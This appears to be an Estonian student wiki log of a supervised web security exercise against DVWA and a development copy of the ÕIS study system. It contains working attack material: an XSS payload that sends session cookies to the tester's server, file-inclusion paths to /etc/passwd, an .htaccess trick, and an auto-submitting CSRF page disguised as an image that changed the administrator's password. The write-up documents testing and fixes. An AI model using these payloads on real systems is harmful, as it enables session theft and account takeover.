Töötavat tulemust me ei saanud, kuna õigest paroolist mindi üle pidevalt.&lt;br /&gt;
Kasutasime ka videos näidatud &amp;quot;@ DICTIONARY&amp;quot; teksti ühes lahtris ja siis plugin ei tahtnud üldse proovida ja lasi kõik katsed üle mingil põhjusel.&lt;br /&gt;
&lt;br /&gt;
Kuna me seda lahendust ei saanud tööle, siis sai proovitud ka BurpSuite programmi.&lt;br /&gt;
&lt;br /&gt;
===== Burpsuite v1.4 =====&lt;br /&gt;
Burpsuite v1.4 on Samurai WTF&#039;il olemas juba sees ja saab kohe käima panna.&lt;br /&gt;
[[File:Bp2naide.jpg|200px|thumb|right|BurpSuite näidis screenshot UI&#039;st]]&lt;br /&gt;
&lt;br /&gt;
Programm on juba loomult keerulisem. &lt;br /&gt;
Burpsuite&#039;iga tuleb panna käima proxy server localhost&#039;is ja brauser määrata kasutama seda proxy serverit aadressil 127.0.0.1:8080.&lt;br /&gt;
Kui ligipääs on rünnatavale lehele on olemas, siis teha prooviks üks väär sisselogimine. &lt;br /&gt;
Läbi proxy serveri tuleb BurpSuite&#039;ile kohale vastava veebilehe Header sisselogimise kohta.&lt;br /&gt;
Headeris tuleb payloadi positsioonid ära määrata, kuhu see hakkab nimekirja alusel igat sõna panema.&lt;br /&gt;
Payload&#039;i positsioonideks Headeris on username ja password lahtrid ning nendesse jätta ainult 2 paragrahvi tähemärki.&lt;br /&gt;
Ründe stiiliks määrata Pitchfork.&lt;br /&gt;
Mõlema payloadi positioni kohta tuleb ära määrata sõnade listid, mida programm hakkab kasutama.&lt;br /&gt;
Optioniste alt tuleb üle kontrollida ka sõnad, mida jälgitakse ebaõnnestunud sisselogimiste korral ja lubaksid järgmisi katseid.&lt;br /&gt;
Kui listid sai ära määratud, siis sai panna menüüst käsu Intruder -&amp;gt; Start Attack, mis siis alustas rünnet. &lt;br /&gt;
Kahjuks ka see rünne ei toiminud teadmata põhjusel. &lt;br /&gt;
Proovitud sai ka lühemate nimekirjadega ja edutult. &lt;br /&gt;
&lt;br /&gt;
Peale teise programmi kasutamist jõudsime järeldusele, et Brute Force ründest pole meil kasu ja ei aita eesmärki täita effektiivselt. &lt;br /&gt;
Dev-ÕISis on vastavad turvameetmed kasutusele võetud, mis takistab selle tegemist ehk avastamisel keelatakse 5-ks sisselogimine ära vastava teatega ja brute force programmidele ei tule vastavat sõna, mis tähendaks sisselogimise ebaõnnestumist ning annab valepositiivse.&lt;br /&gt;
&lt;br /&gt;
Lõpptulemus: Arendusversioon ÕISist on ära turvatud BruteForce rünnete vastu sisselogimisel.&lt;br /&gt;
&lt;br /&gt;
==== CSRF - Cross-site request forgery ====&lt;br /&gt;
Katsetamine toimub koos Taaviga.&lt;br /&gt;
&lt;br /&gt;
Loome uue veebilehe, mis saadab aktiivse kasutaja alt käske edasi mõnele veebisaidile, mis usaldab autoriseeritud kasutajat.&lt;br /&gt;
&lt;br /&gt;
Katse eesmärgiks on DVWA-s kasutaja parooli muutmine, niiet ta ise paneb meie veebilehel on oma praeguse parooli sisse ja Submit nupu vajutamisel saadetakse see koos peidetud väljadega (mis on varustatud uute paroolidega) DVWA parooli muutmise lehele ja tulemuseks on kasutaja muudetud parool.&lt;br /&gt;
&lt;br /&gt;
Lõime uue faili - crosssite.txt&lt;br /&gt;
&lt;br /&gt;
DVWA-s läksime lingile CSRF, kus saab sooritada parooli muutmist.&lt;br /&gt;
Võtsime lehe Source Code lahti&lt;br /&gt;
Otsisime üles paroolide formi koodi üles ja kopeerisime selle enda veebilehele.&lt;br /&gt;
Muutsime ära action väärtuse, DVWA veebilehe omaks, kus muudetakse paroole.&lt;br /&gt;
Current Password lahtri jätsime samaks.&lt;br /&gt;
Ülejäänud kahe uue passwordi fieldi type&#039;iks määrasime &amp;quot;Hidden&amp;quot; ja value&#039;deks &amp;quot;admin&amp;quot;.&lt;br /&gt;
Salvestasime faili ja käivitasime selle.&lt;br /&gt;
Tuli ette ainult lahter Current Passwordi ja Submit nupuga.&lt;br /&gt;
Panime sisse tolle hetke parooli ning saatsime teele päringu ning saimegi DVWAlt vastuseks, et parool muudetud ehk parooliks sai hidden väljades määratud sõna &amp;quot;.&lt;br /&gt;
&lt;br /&gt;
Lõpptulemus: Kasutaja salajane ja ootamatu paroolivahetus sai ära täidetud.&lt;br /&gt;
&lt;br /&gt;
=== Taavi tegevus ===&lt;br /&gt;
&lt;br /&gt;
Backtrack 5 R2 - parimate tööriistade ja meetodite uurimine et leida turvanõrkusi.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Matise tegevus ===&lt;br /&gt;
==== Reflected Cross Site Scripting (XSS)  ====&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Lehel on selline Form:&amp;lt;/li&amp;gt;&lt;br /&gt;
[[Image:Xsstesting.jpg|Location=&amp;quot;left&amp;quot;|Caption|]]&lt;br /&gt;
&amp;lt;br&amp;gt;Form väljastab : Hello „sisestatud nimi“&lt;br /&gt;
&amp;lt;li&amp;gt;Easy puhul:&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Saab sisestada textboxi skripti:&amp;lt;/li&amp;gt;&lt;br /&gt;
    &amp;lt;script&amp;gt;&lt;br /&gt;
    alert(document.cookie.match(/PHPSESSID=[^;\]+/));&lt;br /&gt;
    &amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Eelnev skript toob ekraanile lihtsalt hetke sessioni ID.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Kui sellist asja on võimalik sisestada siis saab juba sellise skripti teha mis saadab kasutaja mingile sinu enda leheküljele kuhu on taha lisatud Session ID: &amp;lt;/li&amp;gt;&lt;br /&gt;
    &amp;lt;script&amp;gt;&lt;br /&gt;
    this.document.location.href  = „http://127.0.0.1/varastatud_sess_id/ + document.cookie.match(/PHPSESSID=[^;\]+/);&lt;br /&gt;
    &amp;lt;/script&amp;gt;&lt;br /&gt;
    &amp;lt;li&amp;gt;Saab kohe enda veebiserveri logidest näha  Session ID’d. &lt;br /&gt;
&amp;lt;br&amp;gt;Näide logist:&amp;lt;/li&amp;gt;&lt;br /&gt;
    /var/log/apache2/access.log&lt;br /&gt;
    127.0.0.1 - - [27/Mar/2012:09:06:31 -0400] &amp;quot;GET /varastatud_sess_id/PHPSESSID=51dc79948ee4cd23e6f8160ef2b57945 HTTP/1.1&amp;quot; 404 404 &amp;quot;-&amp;quot;                  &amp;lt;br&amp;gt;  &amp;quot;Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.11) Gecko/20101013 Ubuntu/9.04 (jaunty) Firefox/3.6.11&amp;quot;&lt;br /&gt;
&amp;lt;li&amp;gt;Tuleb ründajal lisada endale uus cookie saabunud Session ID’ga ja peakski olema võimalik teise inimese sessioon üle võtta.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Sanderi tegevus ===&lt;br /&gt;
[[File:DVWA_upload.png|150px|thumb|DVWA Upload]]&lt;br /&gt;
&lt;br /&gt;
SamuraiWTF kasutamine testimiseks: DVWA (Damn Vulnerable Web Application).&lt;br /&gt;
==== Faili üleslaadimine: madal tase ====&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;b&amp;gt;DVWA Security&amp;lt;/b&amp;gt; määrata: Low -&amp;gt; Submit&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Valida: Upload&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Üles laadida saab suvalisi faile: *.php, *.html, *.jpg, .htaccess&amp;lt;/li&amp;gt;&lt;br /&gt;
  Üleslaetavasse *.php faili saab kirjutada php koodi:&lt;br /&gt;
    &amp;lt;?php var_dump($_REQUEST, $_SERVER); ?&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Minnes üleslaetava *.php faili asukohta veebilehitsejas http://dvwa/hackable/uploads/*.php käivitatakse skript ja tagastatakse kõik küsitav:&amp;lt;/li&amp;gt;&lt;br /&gt;
  esimeses massiivis &amp;quot;PHPSESSID&amp;quot; (&amp;quot;2b1ae19446cfde009664f18df51b6ec1&amp;quot;) ja turvatase &amp;quot;security&amp;quot; (&amp;quot;low&amp;quot;);&lt;br /&gt;
  teises &amp;quot;HTTP_COOKIE&amp;quot;, milles on eelnevadki andmed; asukoht &amp;quot;PATH&amp;quot;, &amp;quot;SERVER_SOFTWARE&amp;quot;, &amp;quot;SERVER_NAME&amp;quot;,&lt;br /&gt;
    &amp;quot;SERVER_ADDR&amp;quot; (&amp;quot;127.42.84.1&amp;quot;), &amp;quot;SERVER_PORT&amp;quot; (&amp;quot;80&amp;quot;), &amp;quot;REMOTE_ADDR&amp;quot; (&amp;quot;127.42.84.1&amp;quot;), &amp;quot;REMOTE_PORT&amp;quot; (&amp;quot;53425&amp;quot;) jpm.&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Faili üleslaadimine: keskmine tase ====&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;b&amp;gt;DVWA Security&amp;lt;/b&amp;gt; määrata: Medium -&amp;gt; Submit&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Valida: Upload&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Üles laadida ei saa näiteks järgnevates formaatides faile:&amp;lt;/li&amp;gt;&lt;br /&gt;
  .htaccess&lt;br /&gt;
  .php	.html	.pdf&lt;br /&gt;
  .gif	.png	.bmp&lt;br /&gt;
  .svg	.swf&lt;br /&gt;
  .tif	.tiff	.exif&lt;br /&gt;
  .raw	.cgm&lt;br /&gt;
&amp;lt;li&amp;gt;Üles laadida saab kõiki .jpg-lõpulisi faile (ka *.php.jpg, mitte *.jpg.php)&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Üleslaetavasse *.jpg faili saab kirjutada php koodi.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Minnes üleslaetava *.jpg faili asukohta veebilehitsejas, ei käivitata skripti, vaid tagastatakse faili asukoha aadress:&amp;lt;/li&amp;gt;&lt;br /&gt;
  http://dvwa/hackable/uploads/*.jpg&lt;br /&gt;
&amp;lt;li&amp;gt;Skripti käivitamiseks tuleb kasutada &amp;quot;?page=&amp;quot; ja faili asukoht:&amp;lt;/li&amp;gt;&lt;br /&gt;
  http://dvwa/vulnerabilities/fi/?page=../../hackable/uploads/*.jpg&lt;br /&gt;
Kuvatakse php skripti tulemus.&lt;br /&gt;
  Kommentaar: &amp;quot;?page=&amp;quot; kasutamine võetud menüüvalikust: &amp;lt;b&amp;gt;File Inclusion&amp;lt;/b&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;quot;?page=&amp;quot; abil saab vaadata kasutajate nimesid:&amp;lt;/li&amp;gt;&lt;br /&gt;
  http://dvwa/vulnerabilities/fi/?page=../../../../../etc/passwd&lt;br /&gt;
&amp;lt;li&amp;gt;Paroole vaadata ei saa, selleks õigused puuduvad:&amp;lt;/li&amp;gt;&lt;br /&gt;
  http://dvwa/vulnerabilities/fi/?page=../../../../../etc/shadow&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Faili üleslaadimine: kõrge tase ====&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;b&amp;gt;DVWA Security&amp;lt;/b&amp;gt; määrata: High -&amp;gt; Submit&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Valida: Upload&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Üles laadida saab kõiki .jpg-lõpulisi faile (ka *.php.jpg, mitte *.jpg.php)&amp;lt;/li&amp;gt;&lt;br /&gt;
  Üleslaetavasse *.jpg faili saab kirjutada php koodi.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Minnes üleslaetava *.jpg faili asukohta veebilehitsejas, ei käivitata skripti, vaid tagastatakse faili asukoha aadress.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Skripti käivitamiseks ei piisa ka &amp;quot;?page=&amp;quot; kasutamisest. Igal juhul on vastus selline:&amp;lt;/li&amp;gt;&lt;br /&gt;
  ERROR: File not found!&lt;br /&gt;
&amp;lt;li&amp;gt;Kasutada tuleks kuueteistkümnendkoodi, mille saab moodustada näiteks sellel aadressil:&amp;lt;/li&amp;gt;&lt;br /&gt;
  http://www.motobit.com/util/base64-decoder-encoder.asp&lt;br /&gt;
&amp;lt;li&amp;gt;Moodustades loodud faili asukohast kood ja kasutades&amp;lt;/li&amp;gt;&lt;br /&gt;
  data:php/html;base64,aHR0cDovL2R2d2EvaGFja2FibGUvdXBsb2Fkcy91cGxvYWQyLmpwZw==&lt;br /&gt;
üritatakse seda arvutisse salvestada. Salvestamisel .part-nimelise faili, on selle sisuks samuti lihtsalt faili asukoht veebis:&lt;br /&gt;
  http://dvwa/hackable/uploads/*.jpg&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== 3. päev - Dev-ÕIS&#039;i turvatestimine==&lt;br /&gt;
&lt;br /&gt;
=== Alo tegevus ===&lt;br /&gt;
[[File:PDFHinneteleht.png|200px|thumb|right|Näide hinnetelehest]]&lt;br /&gt;
Kui testisime failide uploadimis võimalusi tuli idee testida ka failide allalaadimist.&amp;lt;br&amp;gt;&lt;br /&gt;
Faile saab alla laadida enda profiili all õppesooritustes.&amp;lt;br&amp;gt;&lt;br /&gt;
Seal on võimalik alla laadida nii .pdf kui ka .odt formaadis õppesooritusi.&amp;lt;br&amp;gt;&lt;br /&gt;
Allalaadimis Urli muutmisega oli võimalik alla laadida teiste kasutajate õpitulemusi.&amp;lt;br&amp;gt;&lt;br /&gt;
Õpitulemused sisaldasid lisaks tulemustele ka inimese isikukoodi.&amp;lt;br&amp;gt;&lt;br /&gt;
Kui oleks soovinud õpitulemusi alla laadida kindla kasutaja õpitulemusi oleks saanud õpilase id kätte tema profiili pildi id kaudu.&amp;lt;br&amp;gt;&lt;br /&gt;
Kuna see oli tõsine turvaauk ja õpilaste andmed on konfidentsiaalsed täiendati url accessi nii, et enam üks õpilane teise inimese andmetele ligi ei pääseks.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Urmo tegevus ===&lt;br /&gt;
====Subgraph Vega ====&lt;br /&gt;
Subgraph Vega on beeta staadiumis olev vabavaraline veebiapplikatsioni nõrkuste skänner, proxy ja platvorm.&lt;br /&gt;
Selle tööriistaga annab välja otsida SQL injectionit võimaldavad kohad, Cross-Site-Scriptingut, URL injection jne võimaldavaid nõrkusi veebilehel.&lt;br /&gt;
Programm on Java põhine graafilise liidesega ja töötab Linux&#039;i, OS X ja Windowsi peal.&lt;br /&gt;
&lt;br /&gt;
[[File:Screenshot_vega1.png|200px|thumb|right|Subgraph Vega screenshot]]&lt;br /&gt;
Päeva alguses sai hakatud katsetama seda ÕISi arenduskeskkonna peal.&lt;br /&gt;
&lt;br /&gt;
Alustasime uut skänni (Start New Scan).&lt;br /&gt;
Küsitakse URI, milleks andsime https://itcollege.dev.ois.ee ja Next.&lt;br /&gt;
&lt;br /&gt;
Järgnevalt on vaja anda kätte sisselogitud kasutaja cookie ja vajadusel lisada kindlate linkide välistamise regullaar avaldised. &lt;br /&gt;
&lt;br /&gt;
Me lisasime ainult küpsise (cookie) sisu: &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
itcollege_OIS_SESSION_ID=sellecookiesisu1234563221&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
ning Finish.&lt;br /&gt;
&lt;br /&gt;
[[File:Screenshot_vega2.png|200px|thumb|right|Subgraph Vega screenshot ühe leitud nõrkusega]]&lt;br /&gt;
Järgnevalt ta hakkab skännima ette antud veebilehte ja kui küpsise info ning aadress on õige, siis ta suudab sisselogimisest mööda saada ilusti ja saab uurima hakata, kus võimalikud vead võivad olla. Tegutsemine võttis suhteliselt kaua aega (u. 30minutit).&lt;br /&gt;
&lt;br /&gt;
Katkestasime skännimise ära, kui ta oli umbes 15000 objektist ära skänninud umbes 12000. &lt;br /&gt;
&lt;br /&gt;
Selleks ajaks oli Vega leidnud kõrgema tasemega Cross Site Script&#039;ingu nõrkusi 58, keskmise tasemega Absolute Path nõrkusi 2, ja lihtsalt informatsiooniks 6 tühja element Body  nõrkust.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Uurides leitud Cross Site Scriptingu leitud nõrkusi, saime aru, et tegu on selliste aadressitega, milles veebilehed kasutavad aadressirealt saadud ID&#039;sid ja parameetreid ära oma pealkirjades.&lt;br /&gt;
Õnneks parameetritega väljad olid veebilehel korralikult ära escape&#039;itud ja saniteeritud, et suhteliselt võimatu oli saada mõnda scripti sinna sisse panna, et veebileht midagi teistmoodi teeks.&lt;br /&gt;
&lt;br /&gt;
ID väljade osas aga ei olnud kaitstud üks link, mille avastas Alo ennem mind.&lt;br /&gt;
&lt;br /&gt;
==== Wapiti ====&lt;br /&gt;
Proovisime ära ka Backtrack 5 R2 tööriista Wapiti. &lt;br /&gt;
(Koduleht: http://wapiti.sourceforge.net/)&lt;br /&gt;
&lt;br /&gt;
Kahjuks ei saanud seda tööriista kasutada dev-ÕISi pihta, kuna see tööriist ei osanud HTTPS&#039;iga midagi teha.&lt;br /&gt;
&lt;br /&gt;
==== CSRF käsitsi rünne HTML/PHP/JAVASCRIPTiga====&lt;br /&gt;
=====1. katse - ÕISi keskkkonna keelevahetus =====&lt;br /&gt;
[[File:Keeleseaded.png|thumb|200px|right|ÕISi keeleseadete menüü]]&lt;br /&gt;
&lt;br /&gt;
Päeva esimeses pooles sai avastatud, et dev-ÕISi kasutaja keskkonna keelt saab muuta, kui mõnelt väliselt veebilehelt saata vastav POST päring lingile, mis muudab keelte seadistust.&lt;br /&gt;
&lt;br /&gt;
Võtsime dev-ÕIS&#039;i Source Code&#039;ist välja vastava formi osa ja panime eraldi html faili.&lt;br /&gt;
Koristasime mittevajaliku disaini koodi juurest ära.&lt;br /&gt;
Muutsime form&#039;i action väärtust pannes olemasoleva ette https://itcollege.dev.ois.ee/ osa ehk oleks absoluutne aadress relatiivse asemel.&lt;br /&gt;
Teises fieldis, kus oli vaja määrata keele tähistus, mida saadetaks, panime väärtuseks &amp;quot;en&amp;quot; ehk inglise keelne keskkond tekiks.&lt;br /&gt;
Panime koodi enose veebiserverisse üles nimega ois.html.&lt;br /&gt;
&lt;br /&gt;
Faili sisu:&lt;br /&gt;
&amp;lt;source lang=&amp;quot;html4strict&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;form id=&amp;quot;settingsForm&amp;quot; method=&amp;quot;post&amp;quot; action=&amp;quot;https://itcollege.dev.ois.ee/setting/edit?user_id=2198&amp;quot; &lt;br /&gt;
enctype=&amp;quot;application/x-www-form-urlencoded&amp;quot;&amp;gt;&lt;br /&gt;
 &amp;lt;input type=&amp;quot;hidden&amp;quot; AUTOCOMPLETE=&amp;quot;off&amp;quot; name=&amp;quot;default_language&amp;quot;value=&amp;quot;en&amp;quot;&amp;gt;&lt;br /&gt;
    &amp;lt;br&amp;gt;&lt;br /&gt;
  &amp;lt;input type=&amp;quot;submit&amp;quot; value=&amp;quot;Salvesta seaded&amp;quot; name=&amp;quot;Savesettings&amp;quot;&amp;gt;&lt;br /&gt;
    &amp;lt;/form&amp;gt;&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Panime faili enda arvutis käima, tekkis vastav form ette, kus submit pannes päring jõudis õisi ja muudeti kogeselt ära keskkonna kasutaja keel.&lt;br /&gt;
&lt;br /&gt;
Katsetas koodi enda konto peal Taavi.&lt;br /&gt;
&lt;br /&gt;
=====2. katse - ÕIS&#039;i kasutaja parooli muutmine =====&lt;br /&gt;
&lt;br /&gt;
[[File:Salasona_ois.PNG|200px|thumb|right|Dev_OIS salasõna muutmisvorm]]&lt;br /&gt;
Otsustasime proovida, kas CSRF nõrkust annaks ära kasutada ka ÕISi administraatori pettes, kui saata talle pildi link, kus tegelikult taga jookseb HTML/JAVASCRIPT koos, mis saadab POST päringu salasõna muutmisega. Selle toimiseks oli eelduseks see, et rünnatav on ründamise hetkel juba dev-ÕISi sisselogitud.&lt;br /&gt;
&lt;br /&gt;
Selle jaoks uurisime välja, kus asub dev-ÕIS&#039;i kasutaja salasõna muutmise vorm ja kuhu saadetakse vormi sisu.&lt;br /&gt;
Vormilt võtsime lähtekoodist (Source Code) vastava koodi välja ja panime eraldi php faili.&lt;br /&gt;
&lt;br /&gt;
Muutsime password ja password_check lahtrite väärtused järgnevaks: &amp;quot;test123&amp;quot; ehk kasutaja uus parool peale rünnakut.&lt;br /&gt;
&lt;br /&gt;
Lahtrites muutsime user_id&#039;d sisaldavad väärtused rünnatava kasutaja user_id vastu, mille saab kätte tudengite/vilistlaste/õppejõudude piltide aadressidelt kätte.&lt;br /&gt;
&lt;br /&gt;
Kõik vormi lahtrite tüübid määrasime peidetud ehk &amp;quot;hidden&amp;quot;, et poleks midagi näidata. &lt;br /&gt;
&lt;br /&gt;
Kuna parooli muutmise formil on küljes ka continue parameeter, mis näitab seda, kuhu kasutaja viiakse peale parooli muutmist. &lt;br /&gt;
Selle muutsime väljalogimise lingiks, et peale POST päringu tegemist suunatakse kasutaja väljalogimise lehele.&lt;br /&gt;
Sellisel juhul ei tule ette teadet, et parooli just muudeti kuskil ja kasutaja enam ei saa oma vana parooliga sisse logida.&lt;br /&gt;
&lt;br /&gt;
Lisasime CSS koodi Submit nupu ära peitmiseks. &lt;br /&gt;
JavaScript koodi, et kui leht on laetud, siis automaatselt vajutataks seda nähtamatut Submit nuppu, et brauser saadaks HTML POST päringu ÕISi poole teele.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Salvestasime faili ära kui &amp;quot;screen1.jpg&amp;quot; fail. Ohver arvab, et tegu on pildiga, kui saadame lingi ja seda veel usaldusväärse aadressi pealt.&lt;br /&gt;
Tegelikult kasutaja ei näe praegu ühtegi pilti ja suunatakse edasi.&lt;br /&gt;
&lt;br /&gt;
Faili sisu:&lt;br /&gt;
&amp;lt;source lang=&amp;quot;html4strict&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;html&amp;gt;&lt;br /&gt;
 &amp;lt;head&amp;gt;&lt;br /&gt;
  &amp;lt;style type=&amp;quot;text/css&amp;quot;&amp;gt;&lt;br /&gt;
	  #Setpassword{ width: 0px; height: 0px; border: none; padding: 0; margin: 0; }&lt;br /&gt;
  &amp;lt;/style&amp;gt;&lt;br /&gt;
 &amp;lt;/head&amp;gt;&lt;br /&gt;
 &amp;lt;body&amp;gt;&lt;br /&gt;
  &amp;lt;body onload=&amp;quot;document.forms.setPasswordForm.submit();&amp;quot;&amp;gt;&lt;br /&gt;
  &amp;lt;form name=&amp;quot;setPasswordForm&amp;quot; id=&amp;quot;setPasswordForm&amp;quot; &lt;br /&gt;
  action=&amp;quot;https://itcollegedev.ois.ee/et/user/set-own-password?user_id=2227&amp;amp;amp;continue=/auth/logout&amp;quot;  &lt;br /&gt;
  method=&amp;quot;post&amp;quot;&amp;gt;&lt;br /&gt;
   &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;user_id&amp;quot; value=&amp;quot;2227&amp;quot; id=&amp;quot;user_id&amp;quot; /&amp;gt;&lt;br /&gt;
   &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;continue&amp;quot; value=&amp;quot;%2Fet%2Fsetting%3Fuser_id%3D2227&amp;quot; id=&amp;quot;continue&amp;quot; /&amp;gt;&lt;br /&gt;
   &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;password&amp;quot; id=&amp;quot;password&amp;quot; value=&amp;quot;test123&amp;quot; /&amp;gt;&lt;br /&gt;
   &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;password_check&amp;quot; id=&amp;quot;password_check&amp;quot; value=&amp;quot;test123&amp;quot; /&amp;gt;&lt;br /&gt;
   &amp;lt;input type=&amp;quot;submit&amp;quot; name=&amp;quot;Setpassword&amp;quot; id=&amp;quot;Setpassword&amp;quot; value=&amp;quot;Muuda salasõna&amp;quot; /&amp;gt;&lt;br /&gt;
  &amp;lt;/form&amp;gt;&lt;br /&gt;
 &amp;lt;/body&amp;gt;&lt;br /&gt;
&amp;lt;/html&amp;gt;&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:Admin_proof.PNG|200px|thumb|right|Ligisaadud adminpaneelile]]&lt;br /&gt;
&lt;br /&gt;
Tegime uue faili htaccess.txt, kuhu panime kirja käsu, mis käivitaks php ja jpg faile kui php failidena.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
AddType application/x-httpd-php .php .jpg&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Laadisime mõlemad failid Enose veebiserverisse avalikult. &lt;br /&gt;
&lt;br /&gt;
Tegime enda kontode peal katsed, et kõik toimiks nii nagu vaja ja ega probleeme ei teki. &lt;br /&gt;
Peale seda juhendaja Mart Manguse abiga saime ÕISi adminnile Valter Kunglale väikese test-rünnaku teha.&lt;br /&gt;
Mart Mangus üritas seletada, et hinnetelehel on midagi viga ja palus, et Valter vaataks asja üle. &lt;br /&gt;
Sellega saavutasime selle, et Valter logis dev-ÕISi sisse oma kontoga.&lt;br /&gt;
Valter ütles, et ta ei näe midagi viltu ja selle peale saatsime talle nii nimetatud screenshoti, mille taga oli tegelt meie koodiga screen1.jpg fail. &lt;br /&gt;
Kui see fail käivitati, siis Valter Kungla parool muudeti ära ja logiti süsteemist välja. &lt;br /&gt;
Tol hetkel, täpselt ennem väljalogimist ja ümbersuunamist, muutus tema parool meie pantud &amp;quot;test123&amp;quot;-ks ja me saime ligipääsu administraatori õigustes kontole. &lt;br /&gt;
Rünnak oli edukas.&lt;br /&gt;
[[File:Pass fixed.PNG|200px|thumb|right|Dev_OIS fixed]]&lt;br /&gt;
&lt;br /&gt;
Andsime teada Valterile teada, et tegelikult tegime salajase ründe. &lt;br /&gt;
Suhteliselt koheselt oli Valteril see CSRF ründe vastu dev-ÕIS ära parandatud, kuna tal oli juba koodiparandus olemas aga lihtsalt rakendamata ja me tabasime ajaliselt viimase hetke ära, kus seda rünnet sai teha. &lt;br /&gt;
Peale parandust enam see rünne läbi ei läinud ja süsteem hõiskab vastu, et tegu on ründe või mõne bug&#039;iga.&lt;br /&gt;
&lt;br /&gt;
Kuna tegu oli ÕIS&#039;i arendusversiooniga, siis oli serveris oli lubatud ka error_reporting, mis annab välja ka pildil oleva errorite jada.&lt;br /&gt;
Error Reporting on maha keeratud Live keskkonnas ja seal sellist pikka keerulist koodijada veateadetega ette ei tule ning saadetakse teade arendajatele automaatselt.&lt;br /&gt;
&lt;br /&gt;
=== Taavi tegevus ===&lt;br /&gt;
====Burp suite====&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Esimese asjane peale Burp suite käivitamist. Tabilt proxy  -&amp;gt;intercept -&amp;gt;intercept off&amp;lt;br&amp;gt;&lt;br /&gt;
Järgnevalt seadistada proxy enda veebiprauserist (mõistlik panna localhost aadress 127.0.0.1 port 8080 ning lülitada sisse ka ssl proxy)&amp;lt;br&amp;gt;&lt;br /&gt;
Proxy  -&amp;gt; options alt lülitada sisse proxy listner pordile 8080 .&amp;lt;br&amp;gt;&lt;br /&gt;
Ohvri valimine &amp;lt;br&amp;gt;&lt;br /&gt;
Valida intruder -&amp;gt; target ning sinna sisestada veebileht mida on plaanis uurida https lehe korral lülitada sisse ssl ning pordiks valida 443.&amp;lt;br&amp;gt;&lt;br /&gt;
Kui on tarvis lehte ka sisse logituna uurida siis tuleb seadistada järgmised parameetrid.&amp;lt;br&amp;gt;&lt;br /&gt;
Valida Options tab sealt sisse lülitada www authentication ning täita all olevad read.&amp;lt;br&amp;gt;site mida rünnatakse tema tüüp(üldiselt basic), login, parool ning valida add.&lt;br /&gt;
Kui on soov sooritada veebilehe sipderingi siis tuleb excludida ka logout käsud.&amp;lt;br&amp;gt;&lt;br /&gt;
Targer-&amp;gt;scope -&amp;gt; exclude  frome scope ja veenduda at välja on arvatud logout laused.&amp;lt;br&amp;gt;&lt;br /&gt;
Spideringi sisselülitamine &amp;lt;br&amp;gt;&lt;br /&gt;
Valida tab Spide ning sealt panna linnuke kasti spider running.&amp;lt;br&amp;gt;&lt;br /&gt;
Ning oledki valmis saama laheküljelt infot.&amp;lt;br&amp;gt;&lt;br /&gt;
Tööriistal on veel tohutu hulk seadistus võimalusi, aga kahjuks ajanappuse tõttu ei jõudnud nende kõikidega tutvuda.&amp;lt;br&amp;gt;&lt;br /&gt;
Tööriis ei ole mõeldud algajatele, kuid teda tundma õppides on võimailik sooritada keerukaid operatsioone. Suurim nõrkus sellel programmil on see, et ta otsing ei näita ära nõrkasid kohti veebilehel vaid need tuleb ise koodist ülesse otsida.&lt;br /&gt;
&lt;br /&gt;
====Nessuse algkäivitamine====&lt;br /&gt;
